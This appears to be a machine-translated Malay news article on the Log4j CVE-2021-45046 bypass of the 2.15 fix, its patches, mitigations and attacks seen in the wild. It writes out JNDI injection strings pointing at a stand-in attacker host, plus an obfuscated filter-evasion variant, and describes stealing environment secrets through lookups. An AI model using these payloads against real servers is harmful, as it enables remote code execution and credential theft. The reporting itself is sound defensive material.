Berita telah dikeluarkan baru-baru ini bahawa ia adalah mengenal pasti kelemahan lain dalam pelaksanaan carian JNDI dalam perpustakaan Log4j 2 (CVE-2021-45046), yang berlaku walaupun pembaikan ditambah dalam versi 2.15 dan tanpa mengira penggunaan tetapan perlindungan "log4j2.noFormatMsgLookup".
Masalahnya ia amat berbahaya terutamanya untuk versi lama Log4j 2, dilindungi dengan bendera "noFormatMsgLookup", kerana ia membolehkan anda memintas perlindungan terhadap kelemahan masa lalu (Log4Shell, CVE-2021-44228), yang membolehkan anda menjalankan kod anda pada pelayan.
Untuk pengguna versi 2.15, operasi terhad kepada mewujudkan keadaan untuk penamatan tidak normal permohonan kerana kehabisan sumber yang ada.
Kerentanan hanya mempengaruhi sistem yang menggunakan carian konteks, seperti templat $ {ctx: loginId}, atau Peta Konteks Benang (MDC), seperti% X,% mdc dan% MDC, untuk pendaftaran.
Operasi bermuara kepada mencipta syarat untuk menghantar data yang mengandungi penggantian JNDI ke pendaftaran apabila menggunakan pertanyaan konteks atau templat MDC dalam aplikasi, yang menentukan peraturan untuk memformat output ke pendaftaran.
The Penyelidik LunaSec menyatakan daripada versi Log4j yang lebih rendah daripada 2.15, kelemahan ini boleh digunakan sebagai vektor baharu untuk serangan Log4Shell, membawa kepada pelaksanaan kod jika ungkapan ThreadContext digunakan semasa menyiarkan ke pendaftaran, yang termasuk data luaran, tidak kira sama ada bendera ditetapkan untuk perlindungan. Templat "NoMsgFormatLookups" atau "% m {nolookups}".
Pintasan perlindungan dikurangkan kepada fakta bahawa bukannya penggantian langsung "$ {jndi: ldap: //example.com/a}", ungkapan ini digantikan dengan nilai pembolehubah perantaraan yang digunakan dalam peraturan untuk memformat semak keluar daftar itu.
Sebagai contoh, jika permintaan konteks $ {ctx: apiversion} digunakan semasa menghantar ke pendaftaran, serangan boleh dilakukan dengan menggantikan data "$ {jndi: ldap: //attacker.com/a}" dalam nilai ditulis kepada pembolehubah sisihan.
Dalam versi Log4j 2.15, kelemahan boleh digunakan untuk melakukan serangan DoS apabila menghantar nilai ke ThreadContext, yang menggelung melalui pemprosesan corak format output.
Untuk dapat mencuba menyelesaikan masalah yang dihadapi kemas kini 2.16 dan 2.12.2 telah dikeluarkan untuk menyekat kelemahan. Dalam cawangan Log4j 2.16, sebagai tambahan kepada pembetulan yang dilaksanakan dalam versi 2.15 dan pengikatan permintaan LDAP JNDI kepada "host tempatan", secara lalai fungsi JNDI dilumpuhkan sepenuhnya dan sokongan untuk templat penggantian mesej telah dialih keluar.
Sebagai penyelesaian, adalah dicadangkan untuk mengalih keluar kelas JndiLookup daripada laluan kelas (contohnya, "zip -q -d log4j-core - *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class").
Sebagai tindakan yang diambil oleh projek yang berbeza:
kepada NginxBerdasarkan modul njs, skrip telah disediakan yang menyekat penghantaran ungkapan JNDI dalam pengepala HTTP, URI dan kandungan permintaan POST. Skrip boleh digunakan pada pelayan bahagian hadapan untuk melindungi bahagian belakang.
Untuk HAProxy, peraturan konfigurasi disediakan untuk menyekat operasi CVE-2021-44228.
Sebagai tambahan kepada serangan yang dikenal pasti sebelum ini yang menyasarkan pembentukan botnet untuk perlombongan mata wang kripto, telah dibuat dengan mengeksploitasi kelemahan dalam Log4J 2 untuk menyebarkan perisian tebusan berniat jahat yang menyulitkan kandungan cakera dan memerlukan wang tebusan untuk penyahsulitan .
Pusat pemeriksaan telah mengenal pasti sekitar 60 varian pelbagai jenis eksploitasi yang digunakan untuk serangan.
CloudFlare melaporkan bahawa percubaan untuk menguji manifestasi kelemahan dalam Log4j mereka dikenal pasti pada 1 Disember, iaitu 8 hari sebelum pendedahan umum masalah itu. Percubaan pertama untuk mengeksploitasi kelemahan direkodkan hanya 9 minit selepas maklumat itu didedahkan. Laporan CloudFlare juga menyebut penggunaan penggantian seperti "$ {env: FOO: -j} ndi: $ {lower: L} memberikan $ {lower: P}" untuk menghilangkan topeng "jndi: ldap" dan penggunaan $ {env} ungkapan serangan untuk memindahkan maklumat tentang kata laluan dan kunci akses yang disimpan dalam pembolehubah persekitaran ke pelayan luaran dan $ {sys} untuk mengumpul maklumat tentang sistem.
Akhirnya sekiranya anda berminat untuk mengetahui lebih lanjut mengenainya anda boleh menyemak pautan berikut.